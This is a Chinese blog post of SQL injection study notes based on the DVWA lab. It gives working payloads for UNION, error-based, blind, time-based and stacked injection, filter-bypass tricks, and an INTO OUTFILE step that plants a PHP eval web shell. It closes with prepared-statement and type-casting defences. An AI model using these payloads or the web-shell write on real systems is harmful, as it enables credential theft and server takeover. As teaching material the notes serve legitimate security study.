SQL注入笔记
作者: 分类: 网络安全 发布于: 2024-06-20 18:22:26 浏览:1,142 评论(0)
漏洞原理
SQL注入是一种安全漏洞,它允许攻击者通过在应用程序的输入中插入或者操作SQL命令来改变后端数据库的查询。这样的攻击可以导致数据泄露、数据修改或者数据服务器的接管。
SQL注入漏洞的原理是攻击者能够通过输入字段的改变直接在数据库中执行意外的查询。这通常是因为应用程序将用户输入直接拼接到SQL查询中,而没有进行适当的验证或清理。
漏洞危害
- 数据泄露:攻击者可以访问未授权的数据库信息。
- 数据修改:攻击者可以更改数据库中的数据。
- 认证绕过:攻击者可能绕过正常的认证流程。
- 系统命令执行:在支持执行系统命令的数据库中,可以直接执行系统命令。
sql注入原理
由于部分程序员安全意识较弱, 编写的代码中在查询sql语句中直接拼接了用户输入的内容, 就会导致被攻击者sql注入,比如如下代码
<?php
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
?>
此代码中在sql语句中直接拼接了用户输入的id
字段到查询语句中,为是保证不报错,拼接时给$id
左右加了单引号。此代码存在sql注入漏洞。
简单注入
-
尝试输入
1'
拼接好的sql语句为SELECT first_name, last_name FROM users WHERE user_id = '1''
此时页面会报错,此时判断出大概率存在sql注入漏洞了:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
-
尝试输入
1 and 1=1
拼接好的语句为SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=1'
页面会查询出内容,此时已经可以判断存在sql注入漏洞了
- 尝试输入
1 and 1=2
拼接好的语句为SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2'
页面还是会查询出内容,此时可以判断出此次漏洞是数字型漏洞, 因为在查询过程中sql把1 and 1=2
隐式转换成数字1
了,所以也可以查询出内容
- 尝试输入
1' or 1=1 #
拼接好的语句为SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #'
由于mysql中#
起注释的作用,最终执行的语句就是SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1
所以会查询出users表中所有的内容
Union注入(联合查询注入)
联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用UNION或UNION ALL。
注意:UNION操作符选取不重复的值。如果允许重复的值,请使用 UNION ALL
前置知识:
information_schema数据库中有三个表非常重要
1.schemata:表里包含所有数据库的名字
2.tables:表里包含所有数据库的所有表,默认字段为table_name
3.columns:表里包含所有数据库的所有表的所有字段
使用union注入首先需要确定当前查询语句的查询字段数, 可以使用order by n
来判断如:
此时拼接好的sql语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2 #'
此时未报错, 当填入order by 3
时,页面报错, 说明只查询了两个字段
- 尝试确定显示位,输入
' union select 1,2#
,结果为:
说明First name位显示第一个字段,Surname显示的第二个字段
- 爆出数据库名和版本信息,输入
1' union select database(),version()#
,结果为:
- 爆出此数据库中所有的表名,输入
1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' #
结果为:
可以看出此数据库中有guestbook
和users
两张表
- 尝试获取users表中所有字段名,输入
1' union all select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'dvwa' and TABLE_NAME = 'users' #
结果为:
-
尝试获取用户名和密码,输入
1' union all select user,password from users limit 5 #
结果为:
根据经验,此密码用的是md5加密,可以使用md5在线解密破解工具解密
报错注入
报错注入顾名思义主要是利用数据库报错来进行判断是否存在注入点。如果不符合数据库语法规则就会产生错误。
此处使用mysql提供的extractvalue()
函数来注入
此函数从目标XML中返回包含所查询值的字符串。语法:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)
select * from test where id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e));
由于0x7e就是~,~不属于xpath语法格式,因此报出xpath语法错误。
注入思路:库名 -> 表名 -> 列名 -> 字段内容
# 爆库名
1' and extractvalue(1,concat(0x7e,database()));#
# 爆表数
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database())));#
# 爆表名
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())));#
# 爆列名,由于报错只显示32位,加上~占一个位,故只展示列名31位, 可以用SUBSTRING(str, pos, len)函数拼接处理,表太多也可以使用此函数
# 第一次查询,结果 ~user_id,first_name,last_name,us
1' and extractvalue(1,concat(0x7e,(select SUBSTRING(group_concat(column_name),1,31) from information_schema.columns where table_name='users' )));#
# 第二次查询,结果 ~er,password,avatar,last_login,f
1' and extractvalue(1,concat(0x7e,(select SUBSTRING(group_concat(column_name),32,31) from information_schema.columns where table_name='users' )));#
# 第三次查询,结果 ~ailed_login
1' and extractvalue(1,concat(0x7e,(select SUBSTRING(group_concat(column_name),63,31) from information_schema.columns where table_name='users' )));#
# 拼接起来所有字段为 user_id,first_name,last_name,user,password,avatar,last_login,failed_login
# 得到密码
1' and extractvalue(1,concat(0x7e,(select password from users where user_id=1)));#
盲注
布尔盲注
布尔很明显的Ture跟False,也就说它只会根据你的注入信息返回Ture跟False,也就没有了之前的报错信息。
注入方式
-
拆解当前数据库名称
- 判断名称长度
1' and length(database())>10;# MISSING 1' and length(database())>5;# MISSING 1' and length(database())>3;# exists 1' and length(database())=4;# exists
得到数据库名称为4位数
-
判断数据库字符组成: 在给定的字符串中利用substr()函数,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的 ASCII码值比较大小,找到比值相同时的字符,然后各个击破。
1' and ascii(substr(database(),1,1))>88;# exists 1' and ascii(substr(database(),1,1))>98;# exists 1' and ascii(substr(database(),1,1))>100;# MISSING 1' and ascii(substr(database(),1,1))=100;# exists
数据库名称的首位字符对应的ASCII码为100,查询是字母 d
-
再使用此方法分别拆解出剩余的需要拆解的字符
时间盲注
界面返回值只有一种 True,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看WEB页面返回的时间差来判断注入的语句是否正确。
注入原理: 使用if(判断条件, sleep(n),1)
函数, 若判断条件为真, sql会执行sleep函数, 适当设置sleep函数里的n值,页面会延迟n
秒返回数据,结果布尔盲注的判断条件, 可依次拆解出需要的字段与值
1' and if(length(database())=4,sleep(5),1);#
堆叠查询注入
堆叠注入,从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在 mysql 中,主要是命令行中,每一条语句结尾加;表示语句结束,这样我们就想到了是不是可以多句一起使用。其原理也很简单,就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候我们使用增删查改毫无限制。
使用条件
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制,只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行。但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_query()函数,只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
select * from users;show databases;
至此,对SQL注入分类总结一下:
1、根据查询字段:数字型、字符型
2、根据查询方式:Union注入、堆叠注入
3、根据回显:报错、盲注
从MySql注入到GetShell
Mysql支持向外写文件(这里的“外”是指服务器内部),需要用到mysql select into outfile命令:
' union select 1,"<?php eval($_POST['a']);" into outfile '/var/www/html/shell2.php'#
然后访问ip:port/shell2.php
,使用post
传参可执行各种注入
也可使用蚁剑连接
sql 注入绕过
-
大小写绕过: seLeCt Union等
-
替换关键字:selselectect UNIunionON 等, 后端replace了一次
-
使用编码
-
使用注释
-
等价函数与命令
-
hex()、bin() ==> ascii() hex() # 16进制 bin() # 二进制 sleep() ==>benchmark() BENCHMARK(count,expr) BENCHMARK会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效 率。 concat_ws()==>group_concat() concat_ws('分隔符', '字段1', '字段2'...) 多个列的字段合并 group_concat('字段1', '字段2'...) 同一列的字段合并 mid()、substr() ==> substring() mid() 函数用于得到一个字符串的一部分。 SELECT MID(ColumnName, Start, Length) eg:mysql> select mid(first_name, 1,1) from users;
-
-
特殊符号
-
1.使用反引号`,例如select first_name from `users`; 可以用来过空格和正则,特殊情况下还可以 将其做注释符用 2.神奇的"-+.",select+user_id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于 连接,可以逃过空格和关键字过滤 3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变 量 4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; // 绕过空格限制
-
防御
1.预编译:preparedStatement
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的语法结构了
2.严格检查参数的数据类型,还有可以使用一些安全函数
比如数字,就强制先转换成数字再拼接
// Get input
$id = (int)$_GET[ 'id' ];
$sql = "select id,no from user where id=" . $id;
转载时请注明出处及相应链接。
本文永久链接: http://www.baigei.com/articles/sql-injection-note